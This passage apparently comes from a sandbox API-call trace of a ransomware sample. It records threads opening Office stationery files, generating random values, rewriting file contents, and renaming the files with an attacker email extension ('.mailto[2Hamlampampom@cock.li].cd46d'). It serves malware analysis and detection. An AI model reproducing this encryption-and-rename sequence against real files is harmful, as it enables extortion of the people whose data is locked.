dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfb0 [0055.183] GetFileSizeEx (in: hFile=0xfb0, lpFileSize=0x13a0fe70 | out: lpFileSize=0x13a0fe70*=513) returned 1 [0055.183] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x1fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.183] ReadFile (in: hFile=0xfb0, lpBuffer=0x13a0fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13a0fdf0, lpOverlapped=0x0 | out: lpBuffer=0x13a0fdf4*, lpNumberOfBytesRead=0x13a0fdf0*=0x4, lpOverlapped=0x0) returned 1 [0055.184] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.184] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.184] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460508 [0055.184] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06f0 [0055.184] NtQuerySystemTime (in: CurrentTime=0x13a0fdd0 | out: CurrentTime=0x13a0fdd0*=132174898191696000) returned 0x0 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0xce6b0dd [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x2da411c0 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x496fd68a [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x677329b5 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x45b23810 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x1584ddc3 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x5ae2cfc5 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x237d7e0c [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x5316f6ad [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x748d0431 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x9e4d65d [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x24116723 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x7f0a6397 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x2a63af0a [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x3a76e0f8 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x2c416837 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x72a3fc56 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x4197d7a4 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x164f368e [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x17c79038 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x7be56962 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x26298d0f [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x73c651f6 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x5f79c966 [0055.184] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x1144ff14 [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x219bd49a [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x4c968b58 [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x3c28aefe [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x5498956d [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x18928b18 [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x4c38e13 [0055.185] RtlRandomEx (in: Seed=0x13a0fddc | out: Seed=0x13a0fddc) returned 0x59fc5dc0 [0055.194] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0055.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4378c8 [0055.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01c8 [0055.196] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4378c8) returned 1 [0055.196] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06f0) returned 1 [0055.196] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c2d0 [0055.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4378c8 [0055.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.196] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.196] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d2f178 [0055.199] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d3b980 [0055.201] ReadFile (in: hFile=0xfb0, lpBuffer=0x12d2f178, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x13a0fdcc, lpOverlapped=0x0 | out: lpBuffer=0x12d2f178*, lpNumberOfBytesRead=0x13a0fdcc*=0x201, lpOverlapped=0x0) returned 1 [0055.201] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.201] WriteFile (in: hFile=0xfb0, lpBuffer=0x12d3b980*, nNumberOfBytesToWrite=0x201, lpNumberOfBytesWritten=0x13a0fdc8, lpOverlapped=0x0 | out: lpBuffer=0x12d3b980*, lpNumberOfBytesWritten=0x13a0fdc8*=0x201, lpOverlapped=0x0) returned 1 [0062.390] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d50 [0062.390] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d28 [0062.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d28) returned 1 [0062.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d3b980) returned 1 [0062.390] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d2f178) returned 1 [0062.416] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4378c8) returned 1 [0062.416] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0062.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ce930 [0062.416] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.416] WriteFile (hFile=0xfb0, lpBuffer=0x44e420, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x13a0fe30, lpOverlapped=0x0) Thread: id = 790 os_tid = 0x1034 [0051.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm")) returned 0x20 [0051.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM", dwFileAttributes=0x20) returned 1 [0059.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfb4 [0059.987] GetFileSizeEx (in: hFile=0xfb4, lpFileSize=0x13adfa74 | out: lpFileSize=0x13adfa74*=493) returned 1 [0059.987] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x1e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.987] ReadFile (in: hFile=0xfb4, lpBuffer=0x13adf9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13adf9f4, lpOverlapped=0x0 | out: lpBuffer=0x13adf9f8*, lpNumberOfBytesRead=0x13adf9f4*=0x4, lpOverlapped=0x0) returned 1 [0059.988] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0059.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05098 [0059.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d050c0 [0059.988] NtQuerySystemTime (in: CurrentTime=0x13adf9d4 | out: CurrentTime=0x13adf9d4*=132174898239744000) returned 0x0 [0059.988] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0xba41330 [0059.988] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x6a5d8fd1 [0059.988] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x5370f58 [0059.988] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x6c48e884 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x4f9390ac [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x4b130310 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x22b845ed [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x28fee7d7 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x490380c6 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x7ff7885e [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x6ae45b3f [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x2c4815a7 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x7d1e0324 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x20da56c1 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x29942133 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0xb3b6bc8 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x4d91bb5b [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x4d8e03db [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x1455d093 [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x38cb67ae [0059.989] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x189d507 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x2da364af [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x13e77d49 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x55447a90 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x19af6f69 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x1c5b2e80 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x4ebda3e6 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x6b7a81aa [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x59d08210 [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x7a42898b [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x1a7b797d [0059.990] RtlRandomEx (in: Seed=0x13adf9e0 | out: Seed=0x13adf9e0) returned 0x3f09f0b7 [0060.003] ReadFile (in: hFile=0xfb4, lpBuffer=0x12b69058, nNumberOfBytesToRead=0x1ed, lpNumberOfBytesRead=0x13adf9d0, lpOverlapped=0x0 | out: lpBuffer=0x12b69058*, lpNumberOfBytesRead=0x13adf9d0*=0x1ed, lpOverlapped=0x0) returned 1 [0060.003] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.003] WriteFile (in: hFile=0xfb4, lpBuffer=0x12b75860*, nNumberOfBytesToWrite=0x1ed, lpNumberOfBytesWritten=0x13adf9cc, lpOverlapped=0x0 | out: lpBuffer=0x12b75860*, lpNumberOfBytesWritten=0x13adf9cc*=0x1ed, lpOverlapped=0x0) returned 1 [0062.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f78 [0062.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428fa0 [0062.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fa0) returned 1 [0062.574] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b75860) returned 1 [0062.962] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b69058) returned 1 [0062.963] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437e68) returned 1 [0062.963] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd78) returned 1 [0062.963] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee10 [0062.963] SetFilePointerEx (in: hFile=0xfb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.963] WriteFile (in: hFile=0xfb4, lpBuffer=0x12d7c1c0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13adfa34, lpOverlapped=0x0 | out: lpBuffer=0x12d7c1c0*, lpNumberOfBytesWritten=0x13adfa34*=0x109, lpOverlapped=0x0) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ced80) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce780) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee10) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f78) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05098) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d050e8) returned 1 [0063.074] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05110) returned 1 [0063.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0063.074] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" [0063.074] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0063.074] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13adf9ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9340 [0063.084] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9340) returned 1 [0063.084] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a89d0) returned 1 [0063.084] NtQueryInformationFile (in: FileHandle=0xfb4, IoStatusBlock=0x13adf9f8, FileInformation=0x13adf9d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13adf9f8, FileInformation=0x13adf9d0) returned 0x0 [0063.084] NtSetInformationFile (FileHandle=0xfb4, IoStatusBlock=0x13adf9f8, FileInformation=0x13adf9d0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.086] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.086] FlushFileBuffers (hFile=0xfb4) returned 1 [0066.201] CloseHandle (hObject=0xfb4) Thread: id = 791 os_tid = 0x1038 [0051.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg")) returned 0x20 [0051.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG", dwFileAttributes=0x20) returned 1 [0060.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfb8 [0060.004] GetFileSizeEx (in: hFile=0xfb8, lpFileSize=0x13b6fb20 | out: lpFileSize=0x13b6fb20*=2950) returned 1 [0060.004] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0xb82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.004] ReadFile (in: hFile=0xfb8, lpBuffer=0x13b6faa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13b6faa0, lpOverlapped=0x0 | out: lpBuffer=0x13b6faa4*, lpNumberOfBytesRead=0x13b6faa0*=0x4, lpOverlapped=0x0) returned 1 [0060.005] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d050c0 [0060.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05138 [0060.006] NtQuerySystemTime (in: CurrentTime=0x13b6fa80 | out: CurrentTime=0x13b6fa80*=132174898239900000) returned 0x0 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x3ba84cd9 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x7402b04d [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x69ecab8f [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x443ac03b [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0xe8cd963 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x4894ac37 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x435b1cc [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x2f56da97 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x40fe4fa [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x766b7f8d [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x5dc0f1cd [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x245ea58d [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x1b2b580 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x221ef11d [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x1f8a2fad [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x1ae15ae6 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x50c8ebbe [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x62c7ada3 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x7729d80e [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x4156824e [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x884003 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x7985848f [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x6366de43 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x7271a0db [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x2f292d06 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x28320c5d [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x19d30bb5 [0060.006] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x1fdfe12d [0060.007] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x4eb6906d [0060.007] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x4dcf2aa4 [0060.007] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x5372b7b [0060.007] RtlRandomEx (in: Seed=0x13b6fa8c | out: Seed=0x13b6fa8c) returned 0x1df5fef7 [0060.019] ReadFile (in: hFile=0xfb8, lpBuffer=0x12b82068, nNumberOfBytesToRead=0xb86, lpNumberOfBytesRead=0x13b6fa7c, lpOverlapped=0x0 | out: lpBuffer=0x12b82068*, lpNumberOfBytesRead=0x13b6fa7c*=0xb86, lpOverlapped=0x0) returned 1 [0060.019] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.019] WriteFile (in: hFile=0xfb8, lpBuffer=0x12b8e870*, nNumberOfBytesToWrite=0xb86, lpNumberOfBytesWritten=0x13b6fa78, lpOverlapped=0x0 | out: lpBuffer=0x12b8e870*, lpNumberOfBytesWritten=0x13b6fa78*=0xb86, lpOverlapped=0x0) returned 1 [0062.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428fa0 [0062.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428fc8 [0062.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fc8) returned 1 [0062.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b8e870) returned 1 [0062.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b82068) returned 1 [0062.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437ee0) returned 1 [0062.997] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c510) returned 1 [0062.997] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cefc0 [0062.997] SetFilePointerEx (in: hFile=0xfb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.997] WriteFile (in: hFile=0xfb8, lpBuffer=0x12d7d688*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13b6fae0, lpOverlapped=0x0 | out: lpBuffer=0x12d7d688*, lpNumberOfBytesWritten=0x13b6fae0*=0x109, lpOverlapped=0x0) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d688) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceff0) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8990) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cefc0) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428fa0) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d050c0) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05160) returned 1 [0063.036] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05188) returned 1 [0063.036] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00540 [0063.036] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" [0063.036] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.mailto[2Hamlampampom@cock.li].cd46d" [0063.036] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13b6fa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.036] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf98b0 